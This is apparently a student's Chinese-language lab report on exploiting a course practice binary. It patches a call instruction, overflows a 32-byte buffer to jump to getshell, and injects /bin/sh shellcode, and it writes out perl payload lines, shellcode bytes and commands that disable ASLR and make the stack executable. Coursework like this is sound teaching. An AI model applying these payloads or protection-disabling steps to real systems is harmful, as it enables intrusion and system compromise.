20165118 Exp1 PC平台逆向破解
一.实验内容:通过对文件pwn20165118进行各种操作使得我们能够得到shell界面。本次实验介绍了三种方法,分别是:
(1)修改main里面foo函数的返回值,使得程序的执行流程发生改变,执行完foo函数以后跳入getshell函数里面
(2)通过构造输入的值,它的溢出值覆盖原返回地址以后能够使程序执行流程转到getshell函数
(3)直接注入shellcode并运行
包含的知识点:
(1)NOP, JNE, JE, JMP, CMP汇编指令的机器码:
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
JNE:条件转移指令,如果不相等则跳转。(机器码:75)
JE:条件转移指令,如果相等则跳转。(机器码:74)
MP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。
(2)掌握反汇编与十六进制编程器(实验中用到的一些指令) :
objdump -d:反汇编
xxd:为给定的输入转换成十六进制的输出
xxd -r:将十六进制输出转换成二进制
|:管道,将前者的输出作为后者的输入。
>:重定向符,将前者输出的内容输入到后者中。
(3)gdb指令
gdb:进入gdb
quit:退出gdb
break:设置断点
二、实验过程
在做实验之前先做好pwn1的备份,分别是pwn20165118_1,pwn20165118_2和pwn20165118_3。
2.1直接修改程序机器指令,改变程序执行流程:
对pwn20165118_1进行操作。
(1)准备工作:(通过反汇编找到main函数中调用foo函数的地址,并找到getshell函数的地址)
使用objdump -d pwn20165118_1|more
指令,之后一直回车,然后查看foo函数,main函数和getshell函数的内容,在main中找到call xxx <foo>
这条指令对应的那一行的机器指令,e8是跳转的意思,如果我们想调用getShell,需要修改“d7ffffff”为"getShell-80484ba"对应的补码就行,即将d7改为c3即可。
(2)修改操作:
用vi指令打开pwn20165118_1;
按ESC
键;
使用:%!xxd
切换到16进制的模式;
用/e8d7
查找要修改的内容;
找到位置以后先按r才能替换,将d7改为c3;
用:%!xxd -r
换为原先的进制;
用:wq
退出vi模式
(3)查看结果:如图
2.2通过构造输入参数,造成BOF攻击,改变程序执行流:
对pwn20165118_2文件进行操作
(1)原理:输入值长度超过buff的预设长度,且溢出的部分覆盖eip的部分正好是getshell函数的调用地址。
(2)准备工作:(需要找到buff允许的最大长度,确定eip的值是正放还是反放)
进入gdb,用r
指令运行pwn20165118_2,输入1111111122222222333333334444444455555555
,会显示0x35353535 in ?? ()
,5的ASCII就是35...再用
info r
指令查看eip的值,发现为0x35353535(四个5)
重复上述的指令,将输入值改为1111111122222222333333334444444412345678
,会发现eip的值变为0x34333231,即为1234,所以由此得知buff最大长度为32,我们再通过设置断点break *0x804849d
,对比之前 ==eip 0x34333231 0x34333231==,应输入11111111222222223333333344444444\x7d\x84\x04\x08
(3)修改操作:因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件
指令:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
再使用16进制查看指令xxd查看input文件的内容是否如预期。
(4)查看结果:如图
2.3注入Shellcode并执行:
对文件pwn20165118_3进行操作
(1)准备一段Shellcode:使用了老师的shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
(2)环境方面的准备工作:
首先使用apt-get install execstack
命令安装execstack,不然无法执行下列操作。
execstack -s pwn20165118_3
//设置堆栈可执行
execstack -q pwn20165118_3
//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
//查看地址是否随机化,结果为2表示是,而我们需要关闭它
echo "0" > /proc/sys/kernel/randomize_va_space
//关闭地址随机化
more /proc/sys/kernel/randomize_va_space
//再次查看确定为0
(3)构造要注入的payload:
layload有两种模式:rns和nsr,本次实验用的是nsr模式(n为nop空指令),该实验需要同时用两个终端来完成
在终端1用(cat input_shellcode;cat) | ./pwn20165118_3
指令注入攻击
同时打开终端2,用gdb进行调试(此时千万不能再终端1敲回车)
需要找到pwn20165118_3的进程号,使用指令ps -ef | grep pwn20165118_3
用attach
指令调试该进程
通过设置断点,来查看注入buf的内存地址:先disassemble foo
找到ret所在位置,再用break
设置完断点以后返回终端1并敲下回车,再返回终端2继续调试,输入c
,info r esp
指令,查看0x01020304其返回地址,并由此确定了x1x2x3x4的值,在终端2退出gdb的调试模式并返回终端1
在终端1输入
perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
再次输入 xxd input_shellcode
和
(cat input_shellcode;cat) | ./pwn20165118_3
至此,所有实验全部完成!
(还有一些没写完,正在补。。。)